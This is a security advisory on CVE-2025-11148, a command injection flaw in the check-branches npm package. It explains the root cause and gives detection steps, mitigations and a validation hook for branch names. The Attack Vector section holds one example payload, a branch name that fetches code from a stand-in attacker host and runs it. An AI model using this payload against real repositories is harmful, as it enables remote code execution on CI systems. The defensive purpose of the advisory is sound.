CVE-2025-11148: check-branches Command Injection RCE Flaw

CVE-2025-11148 Overview

All versions of the check-branches npm package are vulnerable to Command Injection. The check-branches utility is a command-line tool used locally or via CI/CD pipelines to verify that no conflicts exist in git branches.

The vulnerability stems from the library's unsafe handling of branch names:

1. It trusts branch names as they are (plain text)
2. It spawns git commands by concatenating user input without sanitization

Since branch names are potentially user-controlled—as users can create branches remotely via pull requests or through privileged repository access—an attacker can craft malicious branch names to execute arbitrary system commands on the target system.

Critical Impact

This Command Injection vulnerability allows remote attackers to execute arbitrary commands on systems running the check-branches tool, potentially leading to complete system compromise, data exfiltration, or supply chain attacks through CI/CD pipeline exploitation.

Affected Products

• check-branches npm package (all versions)
• CI/CD pipelines utilizing check-branches for branch validation
• Development environments with check-branches installed

Discovery Timeline

• 2025-09-30 - CVE CVE-2025-11148 published to NVD
• 2025-10-02 - Last updated in NVD database

Technical Details for CVE-2025-11148

Vulnerability Analysis

This vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command), commonly known as OS Command Injection. The check-branches package fails to properly sanitize branch names before using them in shell command execution.

When the tool processes branch names retrieved from git repositories, it directly concatenates these names into shell commands without proper escaping or validation. An attacker with the ability to create branches in a repository can inject shell metacharacters and commands within the branch name, which are then executed when check-branches processes the repository.

This is particularly dangerous in CI/CD environments where check-branches runs automatically on new pull requests or branch pushes, as the attacker does not need direct access to the CI system—only the ability to create a branch with a malicious name.

Root Cause

The root cause of this vulnerability is the unsafe construction of shell commands through string concatenation with user-controlled input. The check-branches package directly incorporates branch names—which are user-controlled strings—into shell commands without proper sanitization or parameterization.

Git branch names allow many special characters that have meaning in shell contexts, including semicolons (;), backticks (`), dollar signs ($), and pipe characters (|). When these characters appear in branch names and are passed unsanitized to shell execution functions, they can break out of the intended command context and execute arbitrary commands.

Attack Vector

The attack is network-accessible since attackers can create malicious branches remotely through git operations such as pull requests. No authentication is required against the vulnerable application itself—only repository access to create branches. The attack requires no user interaction as the check-branches tool processes branches automatically.

An attacker can exploit this vulnerability by:

1. Creating a branch with a name containing shell metacharacters and malicious commands (e.g., feature$(curl attacker.com/malware|sh))
2. Pushing the branch to a repository where check-branches is configured to run
3. Waiting for the CI/CD pipeline or developer to invoke check-branches, triggering command execution

For technical exploitation details, refer to the GitHub Gist Exploit Example which demonstrates the vulnerability mechanism.

Detection Methods for CVE-2025-11148

Indicators of Compromise

• Unusual branch names containing shell metacharacters such as ;, |, $(), or backticks in repository logs
• Unexpected outbound network connections from CI/CD runners or developer machines during branch checking operations
• Anomalous process spawning from node processes running check-branches
• Suspicious entries in CI/CD logs showing command execution failures or unexpected output during branch validation

Detection Strategies

• Monitor git repositories for branches with names containing shell metacharacters or command substitution patterns
• Implement process monitoring on CI/CD runners to detect child processes spawned by check-branches that are not expected git commands
• Use application-level logging to capture branch names being processed and flag those matching command injection patterns
• Deploy endpoint detection solutions to identify exploitation attempts through behavioral analysis

Monitoring Recommendations

• Enable verbose logging in CI/CD pipelines to capture all branch names processed by check-branches
• Set up alerts for branch creation events with names matching regex patterns for common command injection payloads
• Monitor system call activity on machines running check-branches for unexpected command execution
• Review repository webhook configurations to detect unauthorized branch creation from external sources

How to Mitigate CVE-2025-11148

Immediate Actions Required

• Remove or disable the check-branches package from all CI/CD pipelines and development environments until a secure version is available
• Audit all repositories for branches with suspicious names containing shell metacharacters
• Review CI/CD logs for evidence of exploitation attempts or unusual command execution
• Implement branch name validation at the repository level to reject branches with potentially malicious characters

Patch Information

No patched version of check-branches is currently available. The vulnerability affects all versions of the package. Organizations should discontinue use of this package and consider alternative solutions for branch conflict checking.

For additional vulnerability details, see the Snyk Vulnerability Report SNYK-JS-CHECKBRANCHES-2766494.

Workarounds

• Replace check-branches with alternative branch validation tools that properly sanitize input
• Implement pre-receive hooks at the git server level to reject branches with potentially dangerous characters in their names
• Wrap check-branches execution with input sanitization that filters branch names before processing
• Run check-branches in isolated containers with minimal permissions to limit the impact of command execution

# Example: Branch name validation hook to reject suspicious branch names
# Add to .git/hooks/pre-receive or as a server-side hook

#!/bin/bash
# Reject branches with potential command injection characters
DANGEROUS_PATTERN='[;|`$(){}]'

while read oldrev newrev refname; do
    branch_name=$(basename "$refname")
    if [[ "$branch_name" =~ $DANGEROUS_PATTERN ]]; then
        echo "Error: Branch name contains potentially dangerous characters"
        exit 1
    fi
done